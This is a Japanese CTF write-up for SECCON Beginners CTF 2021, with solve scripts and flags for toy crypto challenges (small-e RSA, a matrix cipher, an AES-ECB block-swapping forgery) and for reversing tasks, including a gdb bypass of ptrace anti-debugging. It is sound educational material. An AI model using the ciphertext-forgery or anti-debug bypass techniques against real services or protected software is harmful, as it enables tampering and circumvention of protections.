Satoooonの物置

雑多に色々と何かをしている

SECCON Beginners CTF 2021 Writeup

SECCON Beginners CTF 2021に参加して943チーム中6位でした。解いた問題について解説していきます。

crypto

simple_RSA [289 solved]

from Crypto.Util.number import *
from flag import flag

flag = bytes_to_long(flag.encode("utf-8"))

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 3

assert 2046 < n.bit_length()
assert 375 == flag.bit_length()

print("n =", n)
print("e =", e)
print("c =", pow(flag, e, n))
n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3
c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613

eが3と小さい数字なので3乗根を計算すればフラグが出てきます。

n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3
c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613

from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes

m, _ = iroot(c, 3)
print(long_to_bytes(m))

ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}

Logical_SEESAW [190 solved]

from Crypto.Util.number import *
from random import random, getrandbits
from flag import flag

flag = bytes_to_long(flag.encode("utf-8"))
length = flag.bit_length()
key = getrandbits(length)
while not length == key.bit_length():
    key = getrandbits(length)

flag = list(bin(flag)[2:])
key = list(bin(key)[2:])

cipher_L = []

for _ in range(16):
    cipher = flag[:]
    m = 0.5
    
    for i in range(length):
        n = random()
        if n > m:
            cipher[i] = str(eval(cipher[i] + "&" + key[i]))
            
    cipher_L.append("".join(cipher))


print("cipher =", cipher_L)
cipher = ['11000010111010000100110001000000010001001011010000000110000100000100011010111110000010100110000001101110100110100100100010000110001001101000101010000010101000100000001010100010010010001011110001101010110100000010000010111110000010100010100011010010100010001001111001101010011000000101100', '11000110110010000100110001000000010001001111010010000110110000000110011010101110011010100110000010100110101100000100000000001110001001001000101000001010101001100000001010101010010110001001110001101010110100000110011010010110011000000100100011010000110010001001011001101010011000001101100', '11000010110010000100110001101000010001001111001000000110000100000110011000111110010010100110000000101110101101100000000010010110001001101000101010000010101000100000001000101110000010001001111001101010110100000010011010010110011000100000100011010010100010001001111001101010011000001101100', '11000110110010001100110000101000110001000111000000000110000000000110011010101110011000100110000010100110101101100100100010000100101001001000101010000010101000100000001010100110010010001001110001101010110000000110000010110110000000000000100011010010110010001011011001101010001000000111101', '11000110100010001100110000000000010001000111001010000110110100000110011010111110001010100110100011101110101110100010000000110100001001101000101010000010101001101000001000101000010010001001111001101010110000000010000010111110000000000010000011010010100010001001011001101010011000001111101', '11000010110010001100110001001000010001000011000000100110000000000110011010101110000010100110100011100110101110100010000000101100101001101000101010000010101001101000001010100010000010001011111001101010110100000110001010010110001010100100000011010010110010001011111001101010011000000101100', '11000110110010000100110001101000110001001011010000100110110000000110011000101110010000100110100001100110100110000000100010000110101001001000101010000010101001100000001000101110010010001011111001101010110000000010001010110110001010100110000011010000110010001011111001101010011000000101100', '11000010110010000100110000100000010001000111011000100110100000000110011000111110000010100110000001101110101111100100000010111110001001001000101000001010101001101000001000101010000110001011110001101010110000000110001010011110000010100010100011010010110010000011011001101010001000000111100', '11000010101010000100110001001000010001000011000000100110010000000100011000111110011000100110000001100110100101000010000000011100101001101000101000001010101001101000001010101110010110001001110001101010110000000010010010110110011000000010100011010000100010001011111001101010001000000101100', '11000010101010001100110000100000010001001111001010000110000000000100011010101110011000100110000011100110100111100110100000000110001001001000101010000010101000100000001000101100010010001011110001101010110000000110011010010110011010000000000011010010100010001011011001101010011000001101101', '11000010101010001100110001000000010001001011010010000110010100000100011000111110011000100110000010100110100111000100000000000100101001101000101010001010101000100000001000100000000110001001111001101010110000000110011010010110000010000100100011010000110010000011011001101010001000001101100', '11000110101010001100110001000000110001001111001010000110110000000110011010101110011000100110100001100110101111000100100010011110101001001000101010001010101000101000001000101100000110001011111001101010110100000010011010011110001000000100100011010010100010000001011001101010011000001111100', '11000110100010001100110001000000010001001011011010100110000000000100011000101110001000100110100001101110101101000110100010001100101001001000101010000010101000100000001010101100000010001001111001101010110100000110011010010110010000100110100011010010110010001001111001101010011000001101101', '11000110101010000100110000000000010001001111001010100110100100000100011010111110001000100110100001101110101100000000100000111110001001101000101000001010101001101000001010100110010010001011110001101010110100000110000010010110001010000010100011010010110010001001011001101010001000000101100', '11000010101010000100110000000000110001001011011010100110110000000110011000101110010010100110100000100110101111000010000000100100001001001000101000001010101001100000001000100000000010001011110001101010110000000010011010011110001010000000000011010010100010001001011001101010001000000101101', '11000110101010001100110001000000110001001111011000000110010100000100011000101110001010100110000001101110101110000100100000101110101001101000101000000010101000100000001010101010000010001011110001101010110000000010000010010110001000100100100011010000100010000001011001101010001000001111101']

ランダムなkeyを用意しておいて、flagの各bitに対し1/2の確率でflag[i] & key[i]をしたものを16個出力されています。flagとkeyで場合分けをしてみます。

flag[i] key[i] &を cipher[i]のケース
0 0 とらない 0
0 0 とる 0
0 1 とらない 0
0 1 とる 0
1 0 とらない 1
1 0 とる 0
1 1 とらない 1
1 1 とる 1

flag[i]=1, key[i]=0のときのみに結果が01にバラけることがわかります。16回も結果を取っているので偶然全て0もしくは1になるということは考えにくいでしょう。

つまり01にバラけているbitはflag[i]=1、結果が全て同じbitはflag[i]=cipher[i]と判断すればよいです。

from Crypto.Util.number import *
import collections

cipher = ['11000010111010000100110001000000010001001011010000000110000100000100011010111110000010100110000001101110100110100100100010000110001001101000101010000010101000100000001010100010010010001011110001101010110100000010000010111110000010100010100011010010100010001001111001101010011000000101100', '11000110110010000100110001000000010001001111010010000110110000000110011010101110011010100110000010100110101100000100000000001110001001001000101000001010101001100000001010101010010110001001110001101010110100000110011010010110011000000100100011010000110010001001011001101010011000001101100', '11000010110010000100110001101000010001001111001000000110000100000110011000111110010010100110000000101110101101100000000010010110001001101000101010000010101000100000001000101110000010001001111001101010110100000010011010010110011000100000100011010010100010001001111001101010011000001101100', '11000110110010001100110000101000110001000111000000000110000000000110011010101110011000100110000010100110101101100100100010000100101001001000101010000010101000100000001010100110010010001001110001101010110000000110000010110110000000000000100011010010110010001011011001101010001000000111101', '11000110100010001100110000000000010001000111001010000110110100000110011010111110001010100110100011101110101110100010000000110100001001101000101010000010101001101000001000101000010010001001111001101010110000000010000010111110000000000010000011010010100010001001011001101010011000001111101', '11000010110010001100110001001000010001000011000000100110000000000110011010101110000010100110100011100110101110100010000000101100101001101000101010000010101001101000001010100010000010001011111001101010110100000110001010010110001010100100000011010010110010001011111001101010011000000101100', '11000110110010000100110001101000110001001011010000100110110000000110011000101110010000100110100001100110100110000000100010000110101001001000101010000010101001100000001000101110010010001011111001101010110000000010001010110110001010100110000011010000110010001011111001101010011000000101100', '11000010110010000100110000100000010001000111011000100110100000000110011000111110000010100110000001101110101111100100000010111110001001001000101000001010101001101000001000101010000110001011110001101010110000000110001010011110000010100010100011010010110010000011011001101010001000000111100', '11000010101010000100110001001000010001000011000000100110010000000100011000111110011000100110000001100110100101000010000000011100101001101000101000001010101001101000001010101110010110001001110001101010110000000010010010110110011000000010100011010000100010001011111001101010001000000101100', '11000010101010001100110000100000010001001111001010000110000000000100011010101110011000100110000011100110100111100110100000000110001001001000101010000010101000100000001000101100010010001011110001101010110000000110011010010110011010000000000011010010100010001011011001101010011000001101101', '11000010101010001100110001000000010001001011010010000110010100000100011000111110011000100110000010100110100111000100000000000100101001101000101010001010101000100000001000100000000110001001111001101010110000000110011010010110000010000100100011010000110010000011011001101010001000001101100', '11000110101010001100110001000000110001001111001010000110110000000110011010101110011000100110100001100110101111000100100010011110101001001000101010001010101000101000001000101100000110001011111001101010110100000010011010011110001000000100100011010010100010000001011001101010011000001111100', '11000110100010001100110001000000010001001011011010100110000000000100011000101110001000100110100001101110101101000110100010001100101001001000101010000010101000100000001010101100000010001001111001101010110100000110011010010110010000100110100011010010110010001001111001101010011000001101101', '11000110101010000100110000000000010001001111001010100110100100000100011010111110001000100110100001101110101100000000100000111110001001101000101000001010101001101000001010100110010010001011110001101010110100000110000010010110001010000010100011010010110010001001011001101010001000000101100', '11000010101010000100110000000000110001001011011010100110110000000110011000101110010010100110100000100110101111000010000000100100001001001000101000001010101001100000001000100000000010001011110001101010110000000010011010011110001010000000000011010010100010001001011001101010001000000101101', '11000110101010001100110001000000110001001111011000000110010100000100011000101110001010100110000001101110101110000100100000101110101001101000101000000010101000100000001010101010000010001011110001101010110000000010000010010110001000100100100011010000100010000001011001101010001000001111101']
char_cases = [[] for i in range(len(cipher[0]))]
for i in range(len(cipher)):
    for j in range(len(cipher[i])):
        char_cases[j] += cipher[i][j]
print(char_cases)

flag = ""
for case in char_cases:
    if all([c == "0" for c in case]):
        flag += "0"
    elif all([c == "1" for c in case]):
        flag += "1"
    else:
        flag += "1"

print(flag)

ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}

GFM [97 solved]

FLAG = b'<censored>'

SIZE = 8
p = random_prime(2^128)
MS = MatrixSpace(GF(p), SIZE)

key = MS.random_element()
while key.rank() != SIZE:
    key = MS.random_element()

M = copy(MS.zero())
for i in range(SIZE):
    for j in range(SIZE):
        n = i * SIZE + j
        if n < len(FLAG):
            M[i, j] = FLAG[n]
        else:
            M[i, j] = GF(p).random_element()

enc = key * M * key

print('p:', p)
print('key:', key)
print('enc:', enc)
p: 331941721759386740446055265418196301559
key: [116401981595413622233973439379928029316 198484395131713718904460590157431383741 210254590341158275155666088591861364763  63363928577909853981431532626692827712  85569529885869484584091358025414174710 149985744539791485007500878301645174953 257210132141810272397357205004383952828 184416684170101286497942970370929735721]
[ 42252147300048722312776731465252376713 199389697784043521236349156255232274966 310381139154247583447362894923363190365 275829263070032604189578502497555966953 292320824376999192958281274988868304895 324921185626193898653263976562484937554  22686717162639254526255826052697393472 214359781769812072321753087702746129144]
[211396100900282889480535670184972456058 210886344415694355400093466459574370742 186128182857385981551625460291114850318  13624871690241067814493032554025486106 255739890982289281987567847525614569368 134368979399364142708704178059411420318 277933069920652939075272826105665044075  61427573037868265485473537350981407215]
[282725280056297471271813862105110111601 183133899330619127259299349651040866360 275965964963191627114681536924910494932 290264213613308908413657414549659883232 140491946080825343356483570739103790896 115945320124815235263392576250349309769 240154953119196334314982419578825033800  33183533431462037262108359622963646719]
[ 53797381941014407784987148858765520206 136359308345749561387923094784792612816  26225195574024986849888325702082920826 262047729451988373970843409716956598743 170482654414447157611638420335396499834 270894666257247100850080625998081047879  91361079178051929124422796293638533509  34320536938591553179352522156012709152]
[266361407811039627958670918210300057324  40603082064365173791090924799619398850 253357188908081828561984991424432114534 322939245175391203579369607678957356656  63315415224740483660852444003806482951 224451355249970249493628425010262408466  80574507596932581147177946123110074284 135660472191299636620089835364724566497]
[147031054061160640084051220440591645233 286143152686211719101923153591621514114 330366815640573974797084150543488528130 144943808947651161283902116225593922999 205798118501774672701619077143286382731 317326656225121941341827388220018201533  14319175936916841467976601008623679266 112709661623759566156255015500851204670]
[306746575224464214911885995766809188593  35156534122767743923667417474200538878  35608800809152761271316580867239668942 259728427797578488375863755690441758142  29823482469997458858051644485250558639 137507773879704381525141121774823729991  29893063272339035080311541822496817623 292327683738678589950939775184752636265]
enc: [133156758362160693874249080602263044484 293052519705504374237314478781574255411  72149359944851514746901936133544542235  56884023532130350649269153560305458687  67693140194970657150958369664873936730 227562364727203645742246559359263307899  98490363636066788474326997841084979092 323336812987530088571937131837711189774]
[244725074927901230757605861090949184139  63515536426726760809658259528128105864 297175420762447340692787685976316634653 279269959863745528135624660183844601533 203893759503830977666718848163034645395 163047775389856094351865609811169485260 103694284536703795013187648629904551283 322381436721457334707426033205713602738]
[ 17450567396702585206498315474651164931 105594468721844292976534833206893170749  10757192948155933023940228740097574294 132150825033376621961227714966632294973 329990437240515073537637876706291805678  57236499879418458740541896196911064438 265417446675313880790999752931267955356  73326674854571685938542290353559382428]
[270340230065315856318168332917483593198 217815152309418487303753027816544751231  55738850736330060752843300854983855505 236064119692146789532532278818003671413 104963107909414684818161043267471013832 234439803801976616706759524848279829319 173296466130000392237506831379251781235  34841816336429947760241770816424911200]
[140341979141710030301381984850572416509 248997512418753861458272855046627447638  58382380514192982462591686716543036965 188097853050327328682574670122723990784 125356457137904871005571726686232857387  55692122688357412528950240580072267902  21322427002782861702906398261504812439  97855599554699774346719832323235463339]
[298368319184145017709393597751160602769 311011298046021018241748692366798498529 165888963658945943429480232453040964455 240099237723525827201004876223575456211 306939673050020405511805882694537774846   7035607106089764511604627683661079229 198278981512146990284619915272219052007 255750707476361671578970680702422436637]
[ 45315424384273600868106606292238082349  22526147579041711876519945055798051695  15778025992115319312591851693766890019 318446611756066795522259881812628512448 269954638404267367913546070681612869355 205423708248276366495211174184786418791  92563824983279921050396256326760929563 209843107530597179583072730783030298674]
[   662653811932836620608984350667151180 304181885849319274230319044357612000272 280045476178732891877948766225904840517 216340293591880460916317821948025035163  79726526647684009633247003110463447210  36010610538790393011235704307570914178 284067290617158853279270464803256026349  45816877317461535723616457939953776625]

行列Mを復元できれば良さそうです。(AB)^{-1}=B^{-1}A^{-1}なのでkey=Kenc=Kとして、


KMK = E \\
KM=EK^{-1} \\
M^{-1}K^{-1}=KE^{-1}\\
M^{-1}=KE^{-1}K \\
M=K^{-1}EK^{-1}

になります。あとはsageを使って解けばよいです。

p = 331941721759386740446055265418196301559
key = [
[116401981595413622233973439379928029316, 198484395131713718904460590157431383741, 210254590341158275155666088591861364763,  63363928577909853981431532626692827712,  85569529885869484584091358025414174710, 149985744539791485007500878301645174953, 257210132141810272397357205004383952828, 184416684170101286497942970370929735721],
[ 42252147300048722312776731465252376713, 199389697784043521236349156255232274966, 310381139154247583447362894923363190365, 275829263070032604189578502497555966953, 292320824376999192958281274988868304895, 324921185626193898653263976562484937554,  22686717162639254526255826052697393472, 214359781769812072321753087702746129144],
[211396100900282889480535670184972456058, 210886344415694355400093466459574370742, 186128182857385981551625460291114850318,  13624871690241067814493032554025486106, 255739890982289281987567847525614569368, 134368979399364142708704178059411420318, 277933069920652939075272826105665044075,  61427573037868265485473537350981407215],
[282725280056297471271813862105110111601, 183133899330619127259299349651040866360, 275965964963191627114681536924910494932, 290264213613308908413657414549659883232, 140491946080825343356483570739103790896, 115945320124815235263392576250349309769, 240154953119196334314982419578825033800,  33183533431462037262108359622963646719],
[ 53797381941014407784987148858765520206, 136359308345749561387923094784792612816,  26225195574024986849888325702082920826, 262047729451988373970843409716956598743, 170482654414447157611638420335396499834, 270894666257247100850080625998081047879,  91361079178051929124422796293638533509,  34320536938591553179352522156012709152],
[266361407811039627958670918210300057324,  40603082064365173791090924799619398850, 253357188908081828561984991424432114534, 322939245175391203579369607678957356656,  63315415224740483660852444003806482951, 224451355249970249493628425010262408466,  80574507596932581147177946123110074284, 135660472191299636620089835364724566497],
[147031054061160640084051220440591645233, 286143152686211719101923153591621514114, 330366815640573974797084150543488528130, 144943808947651161283902116225593922999, 205798118501774672701619077143286382731, 317326656225121941341827388220018201533,  14319175936916841467976601008623679266, 112709661623759566156255015500851204670],
[306746575224464214911885995766809188593,  35156534122767743923667417474200538878,  35608800809152761271316580867239668942, 259728427797578488375863755690441758142,  29823482469997458858051644485250558639, 137507773879704381525141121774823729991,  29893063272339035080311541822496817623, 292327683738678589950939775184752636265]
]
enc =[
[133156758362160693874249080602263044484, 293052519705504374237314478781574255411,  72149359944851514746901936133544542235,  56884023532130350649269153560305458687,  67693140194970657150958369664873936730, 227562364727203645742246559359263307899,  98490363636066788474326997841084979092, 323336812987530088571937131837711189774],
[244725074927901230757605861090949184139,  63515536426726760809658259528128105864, 297175420762447340692787685976316634653, 279269959863745528135624660183844601533, 203893759503830977666718848163034645395, 163047775389856094351865609811169485260, 103694284536703795013187648629904551283, 322381436721457334707426033205713602738],
[ 17450567396702585206498315474651164931, 105594468721844292976534833206893170749,  10757192948155933023940228740097574294, 132150825033376621961227714966632294973, 329990437240515073537637876706291805678,  57236499879418458740541896196911064438, 265417446675313880790999752931267955356,  73326674854571685938542290353559382428],
[270340230065315856318168332917483593198, 217815152309418487303753027816544751231,  55738850736330060752843300854983855505, 236064119692146789532532278818003671413, 104963107909414684818161043267471013832, 234439803801976616706759524848279829319, 173296466130000392237506831379251781235,  34841816336429947760241770816424911200],
[140341979141710030301381984850572416509, 248997512418753861458272855046627447638,  58382380514192982462591686716543036965, 188097853050327328682574670122723990784, 125356457137904871005571726686232857387,  55692122688357412528950240580072267902,  21322427002782861702906398261504812439,  97855599554699774346719832323235463339],
[298368319184145017709393597751160602769, 311011298046021018241748692366798498529, 165888963658945943429480232453040964455, 240099237723525827201004876223575456211, 306939673050020405511805882694537774846,   7035607106089764511604627683661079229, 198278981512146990284619915272219052007, 255750707476361671578970680702422436637],
[ 45315424384273600868106606292238082349,  22526147579041711876519945055798051695,  15778025992115319312591851693766890019, 318446611756066795522259881812628512448, 269954638404267367913546070681612869355, 205423708248276366495211174184786418791,  92563824983279921050396256326760929563, 209843107530597179583072730783030298674],
[   662653811932836620608984350667151180, 304181885849319274230319044357612000272, 280045476178732891877948766225904840517, 216340293591880460916317821948025035163,  79726526647684009633247003110463447210,  36010610538790393011235704307570914178, 284067290617158853279270464803256026349,  45816877317461535723616457939953776625]
]

# enc * key^-1 = key * M
# key * enc^-1 = M^-1 * key^-1
# (key * enc^-1) * key = M^-1
# key^-1 * enc * key^-1 = M

SIZE = 8
MS = MatrixSpace(GF(p), SIZE)
key = MS.matrix(key)
enc = MS.matrix(enc)
M = key.inverse() * enc * key.inverse()

for i in range(SIZE):
    for j in range(SIZE):
        print(chr(M[i][j]), end="")

ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?}

Imaginary [75 solved]

import json
import os
from socketserver import ThreadingTCPServer, BaseRequestHandler
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from secret import flag, key


class ImaginaryService(BaseRequestHandler):
    def handle(self):
        try:
            self.request.sendall(b'Welcome to Secret IMAGINARY NUMBER Store!\n')
            self.numbers = {}

            while True:
                num = self._menu()
                if num == 1:
                    self._save()
                elif num == 2:
                    self._show()
                elif num == 3:
                    self._import()
                elif num == 4:
                    self._export()
                elif num == 5:
                    self._secret()
                else:
                    break

        except Exception as e:
            try:
                self.request.sendall(f'ERR: {e}\n'.encode())
            except Exception:
                pass

    def _menu(self):
        self.request.sendall(b'1. Save a number\n')
        self.request.sendall(b'2. Show numbers\n')
        self.request.sendall(b'3. Import numbers\n')
        self.request.sendall(b'4. Export numbers\n')
        self.request.sendall(b'0. Exit\n')
        self.request.sendall(b'> ')
        try:
            return int(self.request.recv(128).strip())
        except ValueError:
            return 0

    def _save(self):
        try:
            self.request.sendall(b'Real part> ')
            re = int(self.request.recv(128).strip())

            self.request.sendall(b'Imaginary part> ')
            im = int(self.request.recv(128).strip())

            name = f'{re} + {im}i'
            self.numbers[name] = [re, im]
        except ValueError:
            pass

    def _show(self):
        self.request.sendall(b'-' * 50 + b'\n')
        for name in self.numbers:
            re, im = self.numbers[name]
            self.request.sendall(f'{name}: ({re}, {im})\n'.encode())
        self.request.sendall(b'-' * 50 + b'\n')

    def _import(self):
        self.request.sendall(b'Exported String> ')
        data = self.request.recv(1024).strip().decode()
        enc = bytes.fromhex(data)
        cipher = AES.new(key, AES.MODE_ECB)
        plaintext = unpad(cipher.decrypt(enc), AES.block_size)

        self.numbers = json.loads(plaintext.decode())
        self.request.sendall(b'Imported.\n')
        self._show()

    def _export(self):
        cipher = AES.new(key, AES.MODE_ECB)
        dump = pad(json.dumps(self.numbers).encode(), AES.block_size)
        self.request.sendall(dump + b'\n')
        enc = cipher.encrypt(dump)
        self.request.sendall(b'Exported:\n')
        self.request.sendall(enc.hex().encode() + b'\n')

    def _secret(self):
        if '1337i' in self.numbers:
            self.request.sendall(b'Congratulations!\n')
            self.request.sendall(f'The flag is {flag}\n'.encode())


if __name__ == '__main__':
    host = os.getenv('CTF4B_HOST')
    port = os.getenv('CTF4B_PORT')

    if not host:
        host = 'localhost'

    if not port:
        port = '1337'

    ThreadingTCPServer.allow_reuse_address = True
    server = ThreadingTCPServer((host, int(port)), ImaginaryService)

    print(f'Start server at {host}:{port}')
    server.serve_forever()

とりあえず動かして動作を確認します。

Welcome to Secret IMAGINARY NUMBER Store!
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 1
Real part> 1
Imaginary part> 2
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 2
--------------------------------------------------
1 + 2i: (1, 2)
--------------------------------------------------
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 4
{"1 + 2i": [1, 2]}
Exported:
b104f46879f9c8c27c9a284962dbac9c3c92b09c2c5096d0b088a85971a7ebca

{f'{re} + {im}i': [re, im]}というような辞書を作ることができ、またAES-ECBモードで辞書を暗号化したり暗号文から辞書を復元できたりするプログラムのようです。また、秘密の選択肢の5があり、その時に辞書に1337iというキーがあったならフラグが出力されるようです。

1337iという文字列は通常では作ることはできないため、AES-ECBモードの仕様(脆弱性?)を利用します。

AESとは固定の長さ(ブロック)ごとに文字列を区切って暗号化するアルゴリズムですが、ECBモードだと暗号文がブロックのみにしか依存しません。

つまりブロックごとに見たとき同じ平文であれば同じ暗号文が生成されるし、暗号文のブロックを入れ替えたら復号した時に平文のブロックも入れ替えられるような性質があるということです。

これを利用して、復号したときに"1337i"というキーを作ります。

1               2               3
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"A + Ai": AAAA...
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB+ 1337i": BBBB...

というような二つの平文を考えます。一つ目の平文の暗号文の3ブロック目以降を、二つ目の平文の暗号文の3ブロック目以降に入れ替えてみます。すると、復号したとき1337iのキーが生成できることがわかります。

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"1337i": BBBB...

後はAAAAやBBBBとしている部分をうまく合わせればいいです。平文のブロックは128bit=8byte, 暗号文のブロックは256bit=32byteであることに注意します。(色々試せばわかります)

"""
1               2               3
{"1111111 + 1i": [1111111, 1], "1 + 1i": [1, 1]}
{"111111111111111111111111111 + 1337i": [111111111111111111111111111, 1337]}
"""
# {"1111111 + 1i": [1111111, 1], "1 + 1i": [1, 1]}
a = "33c7461caec455639a2c78889df87b2b787ed5c63954b411c12f2306190bb676450ebe4d6d0ea85378c0212781ca5cdd8db4341b6d2b363abdc9d13de3042f42"

# {"111111111111111111111111111 + 1337i": [111111111111111111111111111, 1337]}
b = "d8db631e58d29bd0b53cf62aea9bc58d164d382d3b0976bd56bf827e770dbe1ac2d4a53f38d83a1b4cf782f97a51929d9316130cba530eced6aba2b2728de2abcd5fe366f2cad5f88dcb41586bf94409"

# {"1111111 + 1i": [1111111, 1], "1337i": [111111111111111111111111111, 1337]}
leet = a[:32*2] + b[32*2:]
print(leet)
# 後は手動

ctf4b{yeah_you_are_a_member_of_imaginary_number_club}

reversing

only_read [450 solved]

フラグかどうか判定してくれるバイナリです、radare2で見ると一文字ずつ一致してるか比較している処理が見えるので復元します。

[0x000010a0]> pdf @ main
            ; DATA XREF from entry0 @ 0x10c1
┌ 352: int main (int argc, char **argv, char **envp);
...
│           0x000011c5      488d45e0       lea rax, [buf]
│           0x000011c9      ba17000000     mov edx, 0x17               ; size_t nbyte
│           0x000011ce      4889c6         mov rsi, rax                ; void *buf
│           0x000011d1      bf00000000     mov edi, 0                  ; int fildes
│           0x000011d6      e8b5feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x000011db      c64405e000     mov byte [rbp + rax - 0x20], 0
│           0x000011e0      0fb645e0       movzx eax, byte [buf]
│           0x000011e4      3c63           cmp al, 0x63
│       ┌─< 0x000011e6      0f85da000000   jne 0x12c6
│       │   0x000011ec      0fb645e1       movzx eax, byte [var_1fh]
...

❯ objdump -d chall -M intel | grep -Po '(?<=cmp    al,0x)..' | xargs | pwn unhex
ctf4b{c0n5t4nt_f0ld1ng}

children [301 solved]

❯ ./children
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!

Please give me my child pid!

生成した子プロセスのpidを答えろと何回も問われます。gdbで見ると楽です。

❯ gdb ./children
...
pwndbg> set follow-fork-mode parent
pwndbg> r
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!

[Detaching after fork from child process 3129]
[Detaching after fork from child process 3130]
Please give me my child pid!
3130
ok
[Detaching after fork from child process 3131]
Please give me my child pid!
3131
ok
[Detaching after fork from child process 3132]
Please give me my child pid!
3132
ok
[Detaching after fork from child process 3133]
Please give me my child pid!
3133
ok
[Detaching after fork from child process 3134]
Please give me my child pid!
3134
ok
[Detaching after fork from child process 3135]
Please give me my child pid!
3135
ok
[Detaching after fork from child process 3136]
Please give me my child pid!
3136
ok
[Detaching after fork from child process 3137]
Please give me my child pid!
3137
ok
[Detaching after fork from child process 3138]
Please give me my child pid!
3138
ok
[Detaching after fork from child process 3139]
Please give me my child pid!
3139
ok
How many children were born?
11
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

please_not_trace_me [86 solved]

❯ ./do_not_trace_me
flag decrypted. bye.

アンチデバッグがついていてデバッグしてフラグを覗くことができません。アンチデバッグを回避しましょう。

[0x000010c0]> pdf @ main
...
│   ││││╎   0x000012e9      bf00000000     mov edi, 0
│   ││││╎   0x000012ee      b800000000     mov eax, 0
│   ││││╎   0x000012f3      e888fdffff     call sym.imp.ptrace         ; long ptrace(__ptrace_request request, pid_t pid, void*addr, void*data)
│   ││││╎   0x000012f8      488945c8       mov qword [var_38h], rax
...
│ ││││││╎   0x00001477      bf00000000     mov edi, 0
│ ││││││╎   0x0000147c      b800000000     mov eax, 0
│ ││││││╎   0x00001481      e8fafbffff     call sym.imp.ptrace         ; long ptrace(__ptrace_request request, pid_t pid, void*addr, void*data)
│ ││││││╎   0x00001486      488945d0       mov qword [var_30h], rax

ptraceによる検知を使っているようです。(参考: GDB アンチデバッギング) とりあえずnopで潰してみます。

[0x000010c0]> wao nop @ 0x00001481
[0x000010c0]> wao nop @ 0x000012f3
❯ ./do_not_trace_me_cp
prease not trace me...

駄目でした。少しの間詰まりましたが、よく考えたらデバッグしていない状態では一回目のptraceが成功し、二回目のptraceは失敗します。そのため二回目のptraceが呼ばれたときにeaxが-1になっている必要があります。

gdbの方が楽そうなのでgdbでptraceを回避しつつ正しい返り値を設定していきます。

❯ gdb ./do_not_trace_me
pwndbg> b ptrace
pwndbg> b *main+305
Breakpoint 2 at 0x1330
pwndbg> r
Breakpoint 1, ptrace (request=PTRACE_TRACEME) at ../sysdeps/unix/sysv/linux/ptrace.c:30
...
pwndbg> finish
pwndbg> set $rax=0
pwndbg> c
Breakpoint 1, ptrace (request=PTRACE_TRACEME) at ../sysdeps/unix/sysv/linux/ptrace.c:30
...
pwndbg> finish
pwndbg> set $rax=-1
pwndbg> c
Continuing.

Breakpoint 2, 0x0000555555555330 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────
*RAX  0x555555555329 (main+298) ◂— lea    rdi, [rip + 0xcd4]
 RBX  0x5555555559a0 (__libc_csu_init) ◂— endbr64
*RCX  0x1a
*RDX  0x555555556034 ◂— 0xfffff211fffff30e
*RDI  0x555555556004 ◂— 'flag decrypted. bye.'
 RSI  0x0
*R8   0x5555555592c0 ◂— 'ctf4b{d1d_y0u_d3crypt_rc4?}'
...

ctf4b{d1d_y0u_d3crypt_rc4?}

be_angry [80 solved]

フラグを判定してくれるバイナリです。問題文から察するにangrという自動で指定した場所に着くまでの入力を見つけてくれるツールを使えば良さそうです。radare2で正解時の処理をする場所を探します。

[0x000010a0]> / Correct
...
0x00003010 hit11_0 .Incorrect!!Correct!!j.
[0x000010a0]> axt 0x00003010
entry0; [16] -r-x section size 6629 named .text 0x10a0 [UNKNOWN] endbr64
sym.main 0x2532 [DATA] lea rdi, str.Correct__
[0x000010a0]> pd 5 @ 0x2532
│           ; CODE XREF from sym.main @ 0x1237
│           ;-- case 32:                                               ; from 0x1237
│           0x00002532      488d3dd70a00.  lea rdi, str.Correct__      ; hit11_0
│                                                                      ; 0x3010 ; "Correct!!" ; const char *s
│           0x00002539      e832ebffff     call sym.imp.puts           ; int puts(const char *s)

0x00002532あたりであることがわかりました。後はangrに任せます。

import angr

project = angr.Project("be_angry", auto_load_libs=False, main_opts={"base_addr": 0x400000})

@project.hook(0x00002532+0x400000)
def print_flag(state):
    print("FLAG SHOULD BE:", state.posix.dumps(0))
    project.terminate_execution()

project.execute()
❯ py be_angry.py
WARNING | 2021-05-24 16:25:06,339 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
